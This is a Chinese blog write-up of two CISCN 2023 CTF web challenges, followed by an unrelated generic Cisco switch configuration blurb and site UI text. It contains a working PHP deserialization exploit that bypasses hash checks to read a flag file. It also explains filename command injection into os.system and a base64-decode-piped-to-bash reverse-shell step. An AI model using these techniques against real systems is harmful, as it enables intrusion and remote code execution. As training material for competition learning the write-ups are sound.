ciscn2023华北赛区

[CISCN 2023 华北]ez_date

反序列化触发wakeup函数

if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }

这里禁止了通过数组绕过md5的方法

if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) )

利用不同类型a=1和b='1’绕过强等判断

$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));

这里通过’'符号来绕过,/f\l\a\g

payload

<?php
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            echo "pass\n";
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo $data;
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

$tr=new date();
$tr->a=1;
$tr->b='1';
$tr->file='/f\l\a\g';
echo base64_encode(serialize($tr));

[CISCN 2023 华北]pysym

查看代码

def POST():
    if 'file' not in request.files:
        return 'No file uploaded.'
    file = request.files['file']
    if file.content_length > 10240:
        return 'file too lager'
    path = ''.join(random.choices(string.hexdigits, k=16))
    directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
    os.makedirs(directory, mode=0o755, exist_ok=True)
    savepath=os.path.join(directory, file.filename)
    file.save(savepath)
    try:
     os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))
    except:
        return 'something wrong in extracting'

    links = []
    for root, dirs, files in os.walk(directory):
        for name in files:
            extractedfile =os.path.join(root, name)
            if os.path.islink(extractedfile):
                os.remove(extractedfile)
                return 'no symlink'
            if  os.path.isdir(path) :
                return 'no directory'
            links.append(extractedfile)
    return render_template('index.html',links=links)

利用点在这里的os.system函数。这里的savepath是我们可控的,通过修改文件名就可以控制savepath的值,所以在os.system函数中拼接系统命令,本地运行进行调试
请添加图片描述
请添加图片描述

看到在本地是执行了命令的,但是页面上没有回显,考虑弹shell,因为不允许一些符号使用,所以用base64编码一下

echo YOUR_SHELL_PAYLOAD | base64 -d | bash

请添加图片描述
请添加图片描述
payload拿到原题
请添加图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
思科交换机配置手册是为了帮助用户学习和了解如何配置和管理思科交换机的详细指南。手册涵盖了各种交换机系列和模型的配置过程,并提供了详细的步骤和示例,以帮助用户轻松配置和优化交换机的性能和功能。 该手册通常包括以下内容: 1. 基本配置:手册会介绍如何进行基本的交换机配置,例如设置主机名、IP地址、默认网关、登录密码等。用户可以根据自己的需求和网络环境进行适当的配置。 2. VLAN配置:手册会详细介绍如何配置虚拟局域网(VLAN),包括创建VLAN、将端口分配给VLAN、配置VLAN间的互连等。这有助于用户更好地管理网络流量和隔离不同部门或用户组的通信。 3. STP和RSTP配置:手册会解释和指导如何配置生成树协议(STP)和快速生成树协议(RSTP),以避免网络中的环路,并提高网络的容错性和可靠性。 4. 交换机安全配置:手册会介绍如何配置交换机的安全功能,如端口安全、MAC地址过滤、访问控制列表(ACL)等,以保护网络免受未经授权的访问和恶意攻击。 5. QoS配置:手册会指导如何配置服务质量(QoS)功能,以优化网络性能和保证关键应用的带宽和优先级。 除了这些基本配置外,手册通常还包括其他高级配置,如多协议标签交换(MPLS)、交换机堆叠配置、VTP配置等,以满足不同用户对交换机的特定要求和功能需求。 总结起来,思科交换机配置手册是一个重要的参考工具,它可以帮助用户详细了解和学习如何配置和管理思科交换机,优化网络性能和管理网络安全。无论是初学者还是有经验的网络管理员,都可以从中获得所需的指导和帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值